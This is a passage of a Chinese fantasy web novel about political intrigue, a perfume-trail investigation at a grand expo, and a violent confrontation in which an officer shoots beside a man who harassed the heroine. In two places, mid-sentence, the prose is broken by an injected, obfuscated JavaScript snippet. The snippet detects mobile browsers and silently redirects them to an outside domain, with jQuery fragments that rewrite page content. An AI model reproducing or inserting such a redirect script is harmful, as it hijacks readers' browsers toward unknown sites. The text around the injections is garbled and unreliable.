一旦他出门办事,便有小孩子上前围观,七嘴八舌地提问。卢克西斯起了玩闹心,不经意地露出手臂和腰部刺青,将他们吓得尖叫逃跑。久而久之,在他不知道的时候,自己已然在八卦小报上成为了“吃小孩的怪兽”的代名词。 政府机构里,除了排挤他的“多数派”以外,也有和他同样出身的少数族裔代表向他送礼,探他态度。然而他要么直白拒绝,要么表示无所谓,甚至从不回礼。长此以往,就没人上门自讨没趣,他也乐得落个清净。 但卢克西斯也有“改良”了的部分。 比方说,自从那天在资源署,听到许多关于衣饰不妥的议论,他便破天荒地重视了一下,懂得在正式场合按中州礼数穿着出席——其实也就几套正装来回换,并且只分“全穿上”和“不全穿上”,对更小的活动分类懒得细究。 至于今天,是个需要全套正装出席的场合。 他穿上修身的短摆燕尾服和裁剪得体的直筒长裤,同时保留了堪州巫族传统的金属耳坠、骨牙护腕,看起来颇有些不伦不类。 卢克西斯对此穿搭很是满意,认为自己英姿飒爽,走路可以带风。 他正了正衣领,步伐稳健地迈向执政官府邸大门。 与此同时,一名身量颀长、穿着精灵议会长袍的白精灵议员也从大门里飞快走出,与卢克西斯正面迎上。 两方迅速互瞟一下,立刻都滚了个白眼,就在这宽敞的道路上,狠狠撞肩而过。 卢克西斯心里骂了他。 随后进入正厅。他跟着接待员走过五六道弯,终于在一道华丽沉重的大门后面,见到了奥瑞恩联邦国的执政官,半精灵,萨尔·艾德林。 这位刚上任三年的执政官风评不好不坏,或者说,就没什么新闻。 有人说他是个爱好忍气吞声的软脚蟹,专门在各机构和各族派系之间和稀泥。因为没有绝对的敌人,加上白精灵父族和人类隐士贵族母系的名声势力,所以才在“最需要各族团结”之时被推举当选。 萨尔·艾德林年纪五十岁上下,身材矮胖,面相和善,尖耳朵,有一头稀疏的灰发和硕大的酒糟鼻,雀斑与皱纹已遍布他的圆脸蛋。这不知是继承了人类的外貌,还是由于夹在各派之间挨气、饱受岁月折磨而憔悴了容颜。 此刻,这名好脾气的执政官正拿一叠手帕,上下不停地擦汗——似乎不是汗,而是红茶水,从头顶一直流进衣领,滴滴答答地往下淌。 卢克西斯见几名秘书赶过来,又忙又乱地打扫地面玻璃渣、换新杯子,立刻明白刚才发生了什么:显然,那名趾高气昂的白精灵议员,临走前泼了执政官一脸的茶水。 但他心里好笑了一下,嘴上什么也没说,沉默地同这位倒霉蛋握了手,拉开椅子往下一坐,大腿张开,两手一抱,往椅背靠着,拿那双野兽般的金绿异瞳,直白地对视过去。 萨尔抖抖瑟瑟地,拿手帕在脸上按了几按,又顺着往下擦脖子。大约是感到过于狼狈,他抬手跟卢克西斯打了个招呼,去里头更衣室重新清理。 这时,旁边一名秘书弯腰出声:“先生,您的椅子上溅了茶水,我们得更换一下……” 卢克西斯只好起身,被清理地毯的保洁赶来赶去,最后贴角落站着,看这一屋子的忙忙碌碌。要不是因为这地方禁用魔法,他很想直接出手了事。 等一切处理妥善,萨尔也换了身干净衣服同他坐下,谈话才终于开始。 萨尔先从衣食住行切入,问他初来此地,习不习惯,在资源署学习处理事务是否上手,与周围人相处如何等等。他一概点头。 “执政官先生。”卢克西斯终于缓慢地开口,“我们什么时候进入正题?”他的通用语腔调别扭,同他本人一样颇具异域风情,因此平常非必要不说话。 萨尔叹一口气:“你也看到了,刚才我遭遇了多么恶劣的侮辱!自从我上任以来,不管做什么事都束手束脚,提什么法案都被他们否决。我空怀一腔热血,可这现实呢?英雄无用武之地!” 紧接着,他从抽屉里拿出一叠装订好的材料,递给卢克西斯:“你看,这是我前不久刚被否的,保护少数族裔群体权利的法案。我和你一样,属于少数派。自从看到你,我就倍感亲切;而最近又总有些流言蜚语,说你来自蛮荒之地,没有真才实干,这又令我想到自己,真是痛心啊……” 卢克西斯听得不耐烦,装作一目十行地翻了翻:“所以您想要我做什么?” “我相信,我们是志同道合之人。”萨尔喝了口茶,慢慢地抬起眼,“眼下,便有一个让你证明能力的机会。资源署发生重大数据泄露,这就拖了联邦后腿,少收 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萨尔扶了下额头:“你脚踏实地,这很好,但你还年轻,卢克西斯。钱能办很多事,就像你在中州看到的一样,现在最顶尖的工业技术也许能令你大吃一惊。” 卢克西斯想到这些天在中州的所见所闻,决定暂且相信这话。 他稍微坐正点身子,仔细看手头资料。看了几行,又开始头大,索性申请带走回去细读。 “你会慢慢明白的!说实话,经历了这些纷争,我只愿和母亲的氏族一样归隐幕后。可堪州需要你我,联邦也需要你我,大家都得为自己背后的人而忍耐前行,不是吗?” 萨尔说着,看向墙壁上挂着的一副山水画叹气。 到这里,卢克西斯总算颇有感触地站起身,向他道了几句感谢效忠之言。 “我会把这事办好。”卢克西斯临走前向他承诺。 执政官送走这位年轻的堪州代表,端着茶杯站在窗边喝了一口,向外看去,只见府邸之外还排着不少等候见他的家族,各色车辆在太阳底下反光,刺得他无比忧愁地闭上双目,转回身来。 然而一转身,又看见秘书端了沓文件进来,向他汇报事务。 “莫伯斯专程过来,还在外头跟人吵架?”萨尔揉了揉太阳穴,低声吩咐,“没事,叫他放宽心,最近老实一点……这个不争气的,唉!” 可是还得留着,牵制军部那位。 他没把这事放在心上,回桌旁坐下,拿起几份文件一看,又感到太阳穴隐隐作痛,忍不住开骂:“慈善协会那帮家伙,就交过来这么点钱?元老院不是已经砍了他们的税收了吗!还给了他们那么多地下产业运营特许!” 秘书战战兢兢:“我听传言,他们最近也在内斗,有几个家族代表抱怨说……说是您把资源署的数据放出去,好让大家一起争利,彼此制衡……” “狗屁!”萨尔见屋门关着,站起身一甩手,将茶杯里的水泼到秘书身上,又把桌案上的文书全部抓起来扬到空中,“制衡!没错!但我这次要直接查杀他们的眼线!叫他们嚣张!” 秘书忍不住抹了下眼睛,迎来的是更凶猛的大骂。萨尔一边骂,一边马不停蹄地泄愤:“他们吞得还不够多?大家都是一起玩的,为什么不能多体谅同伴?总得给别家,给我……给联邦留点老底吧!” 他骂完一长串,扶着墙,喘了会儿气,一双泛起血丝的眼睛死死盯着窗外的车群:他看到莫伯斯往他的大门吐了口唾沫,转头坐进车里开走了。 萨尔忽地冷静下来,正如之前临时发飙一般,情绪转变并无征兆。 “蒙格马利家的少将,我自从上任以来还没见过。军部几位代表,态度总是不明不白……”他转过身,脸上挂着笑容看向秘书,“下次联合会议是什么时候?那之后单独安排一下,我亲自和他接触。” —————————————— 卢克西斯从执政官府邸出来,直接走到轨道车站,靠墙立在无人的角落,随手翻看资料。依然对大篇幅的通用语不耐烦读,所以越翻越快。 但他忽然停下手,对着某页资料上的照片晃了神。他想起自己初到资源署时,那个蒸汽弥漫的,杂乱喧嚣的午后。 原来……她叫加茜娅,也是个贵族出身? 怪不得,一副纨绔模样,与那些人没什么区别。 19.Chapter 19. 越线 清晨的中州蒙了一层积雪。此时雪还在落,稠密而缓慢,飘在橙黄路灯光线里,细细闪闪。最近的天气很差,太阳直到中午都不会出来,整日里阴沉昏暗,寒冷透骨。 阿纳鲁坐在驾驶座上等加茜娅。他和昨晚一样,是亲自开车;胸腔里那颗心莫名跳得很响,因此停好车后,一只手仍扶在方向盘上,指尖有节奏地叩着。 前挡风玻璃上的雪化成水,他在重叠的糊影里看到了加茜娅。原本从手套箱里抽出的烟盒,又不觉地放好。 忽然有风刮过,加茜娅一只手撑伞,一只手抓着大衣和裙摆。阿纳鲁立刻下车快步走去,接过伞,在侧后方替她挡着风,帮她打开车门。 副驾驶座上放着一个样式精致的牛皮纸文件袋。 “我给你批了枪证。打开看看?”他解释道。 加茜娅坐下来,从文件袋里拆出一张薄薄的银色合金纸。 她看了眼纸上的内容,笑起来:“怎么担保人是你,审批人也是你?” “临时特权。”阿纳鲁也笑,“临时的也能用。正式申请,这两天叫人去办。” “你不会后悔吧?哪天我真拿枪干了什么事……”加茜娅试探着问。 “别再拿它对着我就行。”阿纳鲁跟她学会了开玩笑,“我活着,也许还能替你摆平?” “好呀!只要你别做对不起我的事,我就饶你一命!” 加茜娅凑到他耳边悄悄地说话,温热的香气扑到他面庞上。她拿手假作枪状,两根指头并拢,顶在他太阳穴上,慢慢地点了几下。 他佯作投降地举起手:“行行好吧,小姐,我能做什么对不起你的事?”随后不知怎么灵机一动,心脏跳得更响,身上的血液仿佛都往脑子里涌:“要真有那种事,不等你出手,我自己了结。” “你泡妞的本事,很熟练嘛!以前怎么不见你油嘴滑舌?”她轻嗔着坐回原位,言语还没放过他。 加茜娅是个难讨好的主儿,总能从说话间隙里钻到空子。 阿纳鲁不由地闭上了眼,面上微笑着叹息:“这还真是跟你学的。” 依然说不过她。或许也不必非得胜她一筹,只是这种如蚁噬针扎般酸麻的陌生情绪,着实令人既不好受,又暗自喜悦。 他放轻了呼吸,感到心中生起一股饱满丰盈的痛楚。未明头绪,遂紧扣方向盘,仍作平静模样地发动汽车。 加茜娅怀里捧着牛皮纸文件袋,转过头看窗外的飞雪和街景。 她想:论合作与交易,眼下他所做的早已超出太多。 那现在的发展算什么? —————————— 中州南部,七州博览会的第一天。 加茜娅和阿纳鲁到达安检中心时,现场已排得人山人海,漫天飞雪中伞群拥挤,密密攒动。 这届展会盛况空前,直接征用了整座城市的南部区域。各场馆分布于不同街巷,交错架设着成百上千的大小天桥,并以蒸汽轨道车作接驳,横七竖八隆隆飞过,混着嘈杂的人声笛鸣和机械噪音,震得加茜娅耳朵发疼。 来时的车上已提前预备好场馆地图册,厚厚一本,她随手翻了几页,便抱着它跟随阿纳鲁前往快速通道,去坐接驳专列。 这列轨道车只有包厢,里边都是上层阶级有头有脸的人物。加茜娅刚靠窗坐下,就有服务生过来呈了精致茶点和可寄存的伴手礼——一大包五花八门的展商试品,从零食护肤品到小型魔导机械玩具,款式功能皆新颖有趣。 两人面对面,坐在格子间里。加茜娅浏览地图册打发时间,阿纳鲁折起伴手礼说明书,然后就端着茶靠在沙发座上,看窗外景色,偶尔也看加茜娅。 她低着头,垂下的发丝别在耳后,目光正停在介绍页上,看得十分入神。 这是加茜娅第一次参加如此盛大的展会,尽管为了查找幕后黑手线索,目标最开始定位在奢侈品香水区,但现在一看,其他内容卖点也同样吸睛。 数十年来,七州博览会都以“资源”和“安全”为核心主题,为的是联合应对各地愈发频繁的天灾和元素风暴,以及日渐匮乏的能量资源。 今年声势最浩大的是军事展区。据说自堪州内战后,这是头一次集齐七个州各族裔全兵种的武装力量展览和露天巡演。至于能源安全展,则新增了元素衰竭情况下的天灾模拟应对区,可亲身体验十余种极限生存模式。 “真神奇。”加茜娅叹道,“我从前只在书上看过。” “相信我,你不会想亲眼见到这些场面的。”阿纳鲁难得有些严肃。 因前一天已商量好先陪加茜娅逛,所以,他们在靠近香水展的站点下了车。 刚出站门,就见前方路口的人群中空出大片地面:一名穿白金配色制服长袍的精灵族魔法师,正举着法杖隔空控制一个倒在地上挣扎惨叫的兽人。强烈魔纹波动传到站台围栏上,触发了尖锐刺耳的警报声。 她回头看站牌:上面标有对应场馆可使用的魔法等级要求,附近场所限制都在三级波动以下! “那是军部征调的战斗级别魔法师。”阿纳鲁看了一眼,神色淡然,“每年展会都闹出很多事故,刺杀、恐袭,甚至从前还有个州还在这里兵变。” 很快,几名乘坐狮鹫巡逻的空警迅速降落。地面上,一列持猎魔枪的武装卫队跑着赶到,指挥疏散人群。扛着相机的记者开始拍摄。 雪花纷飞之中,两层楼高的狮鹫兽们嘶吼着挺身抬爪,张开巨大金色羽翼,远远扇来刺骨寒风,加茜娅被激得一哆嗦。 阿纳鲁以为她害怕,于是撑开伞,揽住她的肩膀转身就走。 刚走两步,忽被人叫住:“长官!” 阿纳鲁回过头,见武装卫队的半兽人队长向他行礼。那人身旁还有一位文职模样的年轻军官,小跑着上前来,也立正行礼。 军官转向加茜娅,犹豫片刻,微微鞠躬问好,随后看一眼阿纳鲁,又侧身看另一个方向。他们顺着他的目光望去,看到不远处军械展馆的门口聚了几名同样穿军装的人,正围在一起谈话。 加茜娅明白过来,这是阿纳鲁遇着同僚了。 她立刻贴心地一笑:“你快去跟他们叙叙旧!正好我自己逛下香水。” 阿纳鲁还有点不放心,刚转过身,又回头看她一眼:“我这边结束,就马上去找你。很快。” “放心,这会儿警卫挺严。” 他仍然没有走开,而是站在原地,似有些歉疚的意味;当着旁人的面,加茜娅还没开始阴阳调侃呢,他仿佛就已经听到了那些话,那些话里的话。他就已经开始受不了了。 那双蓝眼睛低下来试探地望着她,看不出她面上是否生气,最后终于还是轻声叹息:“我很快就来。你有什么想要的,记我名字,他们会帮你留好。” 不管他说什么,加茜娅一概微笑点头。 ——于是阿纳鲁在身旁两位下属的瞠目结舌中,安静几秒,黑着脸走了。 加茜娅接了伞,目送他离开,自己也转身往香水展馆的方向走。她说不清心里是种什么滋味,但再暧昧的感情也不会存在未来。 她想明白了这件事,便干脆把它放下,专心致志地去思考和搜寻下一条线索。 香水展馆位于一座大楼高层,同各类珠宝首饰展馆相邻。与其他地方比,这里明显安静许多,雅客云集,富丽堂皇,空气里流动着层叠混杂的香气。各州香料商们站在干净明亮的玻璃展台后,一边举着玻璃管调试配方,一边为客人低声解说。 加茜娅来到此处,便挺直腰背。她要求自己像一名真正懂香的人那样,即使闻不明白,也要目露赞赏地把戏演好,为任何潜在的机会进行铺垫。 龙琥珀、宝石香、晨露苔……都不是。她穿梭在各色展品间,半天下来,几乎快患上失嗅症,也没找到那种特殊的蜡烛香气。 她只能改作综合考量,只求相似,甚至神似:有一点点致幻和麻痹神经的作用。因从未见过接线人、执行人和地下交易场所任何顾客的样貌,而目前追踪的全部线索里,只有这条气味线索最为清晰,所以不管关键与否,她都决不能放过一丝机会。 在此过程中,加茜娅始终保持职业敏感度,脚步只偶尔停驻,和香料商随意攀谈,但不会停留太久,避免被人察觉出问题。 最后一家,也是甜腻香调最相似的一家,是来自南部州“白金海岸”阿尔法湾的水生香料商,老板是个包着头巾、戴面纱的中年女人。 加茜娅随意试了几瓶摆在台面上的香水,最后回到其中一瓶上,试探性地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038314|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“这款香水的前调很独特……你们自己调制的吗?” “当然,独家配方。您现在可以感受到永夜兰、月桂鸦血和黑檀花,有轻微迷情致幻的效果,很适合您在约会时使用。” “独家配方吗?我总觉得似曾相识。”她继续引导。 “这不好说。”老板一摊手,“市面上有很多基于此仿制的香水,最出名的,佛罗亚香水公司,还有他们的几个竞品牌子,都抄来抄去;这款香还是同一家代理厂商做的,在顾客面前玩出那么多花来。”她嗤笑一声,似有不屑。 加茜娅心中一跳,慢条斯理道:“这么说来,我朋友有一个香水公司投资项目,正在找厂商合作新产品。不知可否找机会引荐一下?”她知道,作为引荐中介,这位老板也能从中赚取部分利润。 香料商人迟疑了一下,没有立刻点头,却说:“小姐,您可以在这里留下联系方式,我将您的报价告诉他们。如有机会,他们会派专人与您联系。” 加茜娅接过便签和钢笔,写下之前对兽人雇佣兵所用过的,蒙特克莱尔商会助理假信息,并留下假名片。 签完字,她心里算是落下一块石头,只是那沉重的感觉仍萦绕胸怀。她已完成力所能及的一切,接下去,这条线索是立是废,无人可知,尽听神命。 或许之后该从慈善协会那个“霍桑”家族入手,看能否在逃跑之前再做掉几个…… 正思索间,一个带笑的声音在背后响起:“哟,这位小姐有点眼熟!” 与此同时,一只手搭在她肩膀上,不轻不重地捏了一把,慢而摩挲着。 加茜娅转过头去—— 莫伯斯·蒙格马利。他竟然也在此地! 这名漂亮青年正装革履,仍作油头粉面的摩登扮相,只是颧骨下陷进去两团阴影,眉眼被淡淡的青黑包围,比上次宴会见时更显颓靡之气。 他盯着她的脸静默一瞬,声音变得肯定:“果然,还真的是你。” “我们似乎不认识吧,先生。”加茜娅淡淡道。 她的肩膀被他用力揽过去,勾带到一旁。 “你大概不记得我,但我对你印象深刻。像你这么坚强的人,真的是很少见!”他这话内涵模糊不清,别人可以理解为指的是某场宴会。 而加茜娅定定地看着他,一下子看懂了他眼里的戏谑。 在陷入泥沼般的极端恐惧和恶心反胃下,她脑子却越发清醒,面无表情地盯着他那双褐色的眼。 他怪笑起来:“你叫……加茜娅,是吧?报纸上都在传,说你成了我哥哥的情人,怪不得平时宴会很少露面。这次他怎么不在你身边?” “莫伯斯,你要是真的关注新闻,应该担心自己会不会被暗精灵刺杀,而不是这样嚣张地单独行动。”加茜娅克制着自己的语气,手里将方才签完字的钢笔抓得更紧。 “我自然有成群佳丽相伴,倒是你……他竟然忍心让你一个人来玩?” 莫伯斯伸出手,打算掐住她脸上的肉摇一摇;因为加茜娅太瘦,半天只掐起一撮皮,于是改作捏着她的下巴强行抬起: “喂,我也算你的救命恩人吧?那天要不是我正好在隔壁房间玩,听烦了两个小时的惨叫过来看看,你可能——早就死啦!” 他两眼一翻,夸张地伸出舌头。 加茜娅迟钝地将眼珠转动了一下,发现自己一时间说不出话。 “说起来,我哥还不知道你以前的事吧?”他似乎很满意她的表现,凑到她耳边,悄悄放轻声音,“要是想瞒着他的话,不如,帮我点小忙?唉,他就是木头一根,转做我的地下情人也不错……” 他的气息喷在加茜娅脸颊上。她用余光打量四周,发现所有人都装作没看到,或是刻意移开目光。独具上流阶级敏感度的贵客们,早已远离此是非之地。 她知道自己不可以轻举妄动。但她还是忍不住想…… 这双眼珠子,很适合扎破了当弹珠玩。 她僵着身体,手里颤抖着攥紧钢笔,拇指拨开盖子,顶在笔尖上。她感到自己皮肤上起了一层细密的小疙瘩,脸上奇异地露出了微笑。 莫伯斯勾着她的肩膀一带,拖着她继续往人少处去。 “走吧,难得有机会,咱们去叙叙旧!” 20.Chapter 20. 情动 莫伯斯向来认为自己有一副怜香惜玉的好心肠,尤其是对加茜娅这类底层的“薄命红颜”,他通常会收起政斗场上的毒辣手段,转以温柔甜蜜的游戏姿态。 但今时不同往日。在走私案曝光后的多重高压之下,他早已失去耐心。 “说实话,我很欣赏你这种心思深,爬得高的女人。”莫伯斯一只手勾着加茜娅的脖颈,手指亲密地缠绕着她的头发。 他凑到加茜娅脸颊旁,深吸了口气,缓缓吐出:“虽然不知道他们派你到阿纳鲁身边是什么用意,但我想,你不介意顺便帮我打听些事吧?作为回报么……”他轻笑一下,“我可以把你要走,从此就跟在我身边享福,怎么样?别表现得那么害怕,放松点,你知道我很温柔的。” 加茜娅眨了下眼,听到了“他们”一词。理智开始回流。 她很快地清醒过来,惊觉自己心脏狂跳、耳畔嗡鸣,手心里全是汗,指节已攥得发麻。方才一阵恐惧怨憎交加的情绪冲到头顶,使她片刻失神,竟生出同归于尽的主意。 莫伯斯故意提那些场面,无非是为了恐吓威胁她,扰乱并掌控她的神智。 没错,她也曾在那些经历之后摸着墙壁疯狂徘徊,指尖抠进缝隙,指甲破裂流血。最终仍觉得自己怕痛,并且还有点舍不得死。于是再也不去想那堵墙。 这两样东西怕完,别的就没什么好怕了。包括这位试图打心理战的莫伯斯。 “我那位上不得台面的私生子哥哥,可不是什么懂情趣的识相男人。而且他平时到处奔波参战,你跟着他,今后还有吃不完的苦头!” 见加茜娅半天没出声,莫伯斯接着挑拨,各个角度软硬兼施。 “就凭你?”加茜娅大脑飞速运转,面上保持微笑,“捅出那么大篓子,他们早就没人站在你这头,更不可能把我交给你!” “那你还真是小瞧我了。”莫伯斯眯起眼,手上慢慢扯紧发丝,“我跟托马斯和麦克的关系向来不错……至于上边几位,没人会在意你这种小虾米吧?” 蠢货——两人同时在心里骂道。 加茜娅冷笑一声,记下了“托马斯”和“麦克”这两个名字,或者说代号。听他的意思,这两人顶多是整条黑产链中间的执行层,往上还有好几个家族坐镇。 她斟酌着语气,正要继续开口套话,忽见莫伯斯松开了她,抬头看向她背后,眼睛睁大,同时挪动着往后退了一步。 嗒,嗒,嗒。军靴踩在地面的声响疾速迫近。 加茜娅还没来得及眨眼,一只手就从她头顶旁伸出去,近乎凶猛地把莫伯斯往后一推。 莫伯斯刚踉跄完站好,肩上又被狠推一把。这回,他直接坐倒在地上,手脚并用地往后挪了几下。 阿纳鲁挡在加茜娅面前,低头盯着狼狈不堪的莫伯斯。 两人打过照面,莫伯斯不动了。他们忽然都冲对方笑起来。 阿纳鲁迅速地一手掏出枪对准他,面部神情几近狰狞。 “砰!” 谁也没反应过来,甚至还没看清楚举枪的动作。 枪口微偏,子弹紧贴着莫伯斯的太阳穴打在地面上。鲜血汩汩地从他耳朵里流出来—— 这一侧想必是直接聋了。 周围人群空出一个大圈,几名盛装打扮的年轻男女闻声赶到,撞见这一幕,又纷纷捂着胸口尖叫后退。有一个翻白眼晕昏厥的,压着其他人一块儿跌倒,霎时间整片楼层鬼哭狼嚎、混乱成片。 莫伯斯捂着耳朵,血从他的指缝中溢出来,很快就染红了半边脸,整个人形同恶灵厉鬼。 他粗喘着气瞪大眼睛,目光从阿纳鲁慢慢移回加茜娅,又在他们二人间往复两次,不知想起什么,咧嘴要笑。只是那笑容带动了耳根肌肉,最后变成抽搐的模样。 为了避免他说出什么不得了的话,加茜娅先向莫伯斯快速地眨了两下眼,假作自己已经被他说动,随即立刻抓住阿纳鲁仍举着枪的手,轻轻地往下放。 她知道此刻该害怕,她也知道他觉得她会害怕,于是她开始微微颤抖。 加茜娅走过去扑进他怀里,将脸贴在他胸膛上,虽然暂时挤不出眼泪,但十分逼真地哆嗦着,扮出哭腔:“亲爱的,走吧,我不想留在这里了……” 阿纳鲁一手持枪垂下,一手搂紧她的肩膀,目光仍盯着莫伯斯不动。 “长……长官?”随后赶到的一列武装巡逻卫队看到阿纳鲁,下意识地全部立正,挺直腰行了个礼。 阿纳鲁冷着脸,转头看他们一眼,略微颔首。 卫队成员见地上的莫伯斯还活着,集体松了口气,立刻开始疏散围观者,并拨出人手返回联络医疗急救员。 加茜娅被阿纳鲁护在怀里转过身,刚要抬头,便被他抬手挡住视线,无法再看到地上流着血的莫伯斯。她只能跟着他的脚步撤离现场。 这期间,身旁的人胸膛急剧起伏,面无表情,一言不发,搂着她的手片刻不曾松开。 “加茜娅……我知道你攥着笔想干什么。”半晌,阿纳鲁终究还是在她头顶叹了口气,“但这种时候,如果没有一击致命的能力,我宁可你不要出手。” 他的手轻缓地拂过加茜娅的背:“走吧,去选枪。这种事,以后不会再发生。” 加茜娅表面在发呆,状似失魂,但心思重点并不在刚才的枪击冲突上:这次撕破脸,莫伯斯的线索突然出现又立刻中断,今后不知会发生什么事。她必须选择更隐秘的调查手段,避免直接暴露自己。 好在,至少多得了一点线索,哪怕只是两个代号,也算突破性进展。 她听完阿纳鲁的话,顺从而漫不经心地点了点头,心里还在嚼着方才与莫伯斯的对话信息。 离开展馆室内,冷风迎面卷来,加茜娅通体汗水冰凉,于是把手插进大衣口袋。寒意仍透过布料渗入,裹挟指尖。她转而伸向阿纳鲁搂在她肩上的手,钻他的手心取暖。 阿纳鲁低头看看她,脸色终于缓和下来,握住她颤抖的手指:“冷吗?前边过个路口就是军械展了,一会儿问他们要杯热饮——想喝什么?” 加茜娅抬起头,也冲他展颜而笑,鼻尖和脸颊都红红的,这下真的像是刚哭过的模样。阿纳鲁莫名心头一酸,竟然转开眼不再看她。 她歪头贴靠在他胸口:“你帮我选吧?我都听你的。” “好。”他低低地应一声,握紧她的手。 军械展是军事区的分馆之一,面积占据整整两个街区,一眼看不到头。 加茜娅跟随大片人流走上天桥,趴在栏杆上遥望露天场地,只见各类模拟地形中已垒好堑壕战、机动战与纵深战等数十个战术分区,不同族裔的演习队伍与五花八门的大型军工器械正缓慢进场。 天空响起军用飞艇的呼啸声。加茜娅捂着帽子,在压迫性的巨大阴影下抬头,看到飞艇底部的旋翼和涡轮叶片将风雪挤压成涟漪;那之下,翼族金属色的武装翼骑兵,以及一队形态轻盈的魔导机械侦察鸟迅速穿梭而过。 “这些……你都遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053481|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过吗?”她在震耳欲聋的声响下,高喊着问阿纳鲁。 “只要不在中州‘安全区’境内,这些玩意还是挺常见的!”他答复她。 天空之中又接连不断地划过许多飞行军队。两人不再驻足观看,而是夹在各高矮族裔的队伍之中,缓慢移动着走下天桥,进入室内展馆。 此地面积与人流量较之香水展馆,一下大出不少。整片椭圆形玻璃场馆穹顶高悬、灯光明亮,展台上陈列着最新款魔导枪械、弹药和机械义肢;四处密密麻麻都是群聚交流的各族权贵、军火商和研究员,靶道区枪声与魔纹检测器的嗡鸣声交叠响彻。 他们避开主展厅,坐升降梯前往楼顶的休息层,直接去贵宾席包厢:一侧围栏可俯瞰室内展厅,另一边是落地玻璃窗,可观看飘雪中的演练场。 阿纳鲁要了热红酒,与加茜娅在环形沙发卡座上挨着坐下。他们低头看着两侧场地,有一搭没一搭地聊天;他伸手指点着,向她介绍下边各分区展厅的功用和潮流新品。 加茜娅两手捂着热烘烘的酒杯,小口小口地喝;她的内心在这一刻宁静下来,被热酒滚过,十分的熨帖。 她想了想,又提起莫伯斯的事:“刚才在香水展,多亏有你……但我感觉,莫伯斯虽然失势,却还有反扑的可能。你不担心这样做的后果吗?” 阿纳鲁轻描淡写:“我同他素有旧怨。没当众清理门户,是给展会主办面子。”说罢,仿佛不欲多谈此事,立刻转移话题: “对了,加茜娅,有个好消息,我提前告诉你——我要升任了。” 他沉下声,不急不缓地讲完这句话,然后背靠沙发,下巴微昂,半垂着眼,举起酒杯抿了一口。 加茜娅心道一声“怪不得”,随即微笑:“怎么?你一停职,反而还捞了好处呢?” 阿纳鲁笑着沉默会儿,把杯中剩余的酒一口喝完。他斟酌着说:“有很多因素。”然后又适时地打住,转向之前收下的“投诚礼”——那些原本属于莫伯斯的非法魔导军火: “上回那批货,品质和这次展出的没什么差别。你联系的暗精灵工匠所报的技术价格,比所有展商都低。我准备提案将他们列入供应渠道。” “另外,军部打算带头施压,打击那些重提驱逐法案的顽固派。很多人需要暗精灵,他们便宜,好用……中州至少有一半黑活脏活是他们在干。” 他垂眼看着手中的玻璃杯,缓慢地转动摩挲。 不知为何,加茜娅听完这话,一颗心突然冷了下去。她重新想起他们——他们原本是天差地别的两个人啊! 她听见自己的声音仍在活泼地向他笑:“那真是恭喜你!眼前局势一片大好!” 阿纳鲁端详起她,看她亮闪闪的眼睛和泛着红润色泽的脸颊……嘴唇,忽然觉得自己有些口渴,还有些头晕。他不由地张臂揽过加茜娅肩膀,戴着黑色皮手套的指尖在她肩上轻轻敲弹。 幽然一阵发香,随着她靠向他怀里的动作,万般柔软痴缠地倒来。他陷入短暂的神思恍惚。 衣香鬓影,佳人在侧。幸而他亦毫不逊色,一路显贵,彼此堪配,称得上天造地设。 今后不必再介意她的身份,阿纳鲁想。她是谁都无所谓,他不畏惧,并且有足够的能力提供庇护,由她自己回心转意。 ——这是早晚的事。 “休息好了吗?”他呼出微醺的气息,强压下心底波澜,决定及时结束这种磨人的旖旎氛围,“休息好了就出发,我带你去挑一把好枪。” 21.Chapter 21. 银小姐 加茜娅和阿纳鲁乘升降梯回到一楼展厅,立刻淹没在嘈杂的机械人声中,每次说话都需要附耳凑近才能听清。 此处虽人流拥挤,但场地宽大且分区清晰,很容易便能依据各处指示牌找到想去的地方。阿纳鲁想也没想,就准备带加茜娅去纯机械展区。 “我想看看魔导展区。”加茜娅心中一动,拉住他的手。 “那些军械魔纹波动大且不稳定,中州境内用不上。在这里,普通的枪械就足够防身了。” 阿纳鲁虽面上不太赞成,但看加茜娅十分好奇的样子,还是依了她的意愿,带她一边慢慢往里走,一边讲解参展产品的原理和适用范围。 加茜娅适时奉承:“不愧是军部的精英代表,每样武器都这么熟悉!” 他自然听得出她讨好之意,面露微笑:“这是任何级别指挥官的底线要求。不精通基础常识,怎么适应时刻变化的战场?” 在经过一大群围观者时,两人停下脚步。侧边金属展台上摆放着各色纹路优美的魔导枪械,通体流淌荧光脉络,律动节奏如同心跳。最中间是一架嵌满魔法石、布满符文的黑曜石板,正不断接受着展商演示的各类攻击。 空气里弥漫着魔法石受高温炙烧后的焦糊味,比机油气息更刺鼻难闻。 “这种成体系的外置防护法阵,我曾在堪州遇到过。”阿纳鲁思索道,“普通金属外甲的元素承载力差,所以当地少数族裔会直接将魔法符文刺在身上来增强体术,还会佩戴各种魔道具。即使元素稀薄的情况下,他们也依然很强。” “当然,还没强过最先进的魔导枪炮。而且,元素流动一旦超过身体极限负荷,符文就会以成倍力量反噬主人。这种做法很危险。”他最后补充。 加茜娅忽然想起之前在资源署见过的,那位怪异的远方来客,堪州代表卢克西斯。原来,他被视作“野蛮”的扮相是这种用途。 她一面大呼小叫地称赞,哄得他越讲越多,一面就将此当作最生动的魔导理论课堂,在心底做好笔记梳理,随时提出困惑。 “所以‘魔导核心’就是将魔法石制作成能导出能量的装置?”加茜娅问。 “大体上可以这样理解,但其中规则相当复杂……目前的资源大量紧缺,元素频繁动荡变异,理论很难撑住实际……” 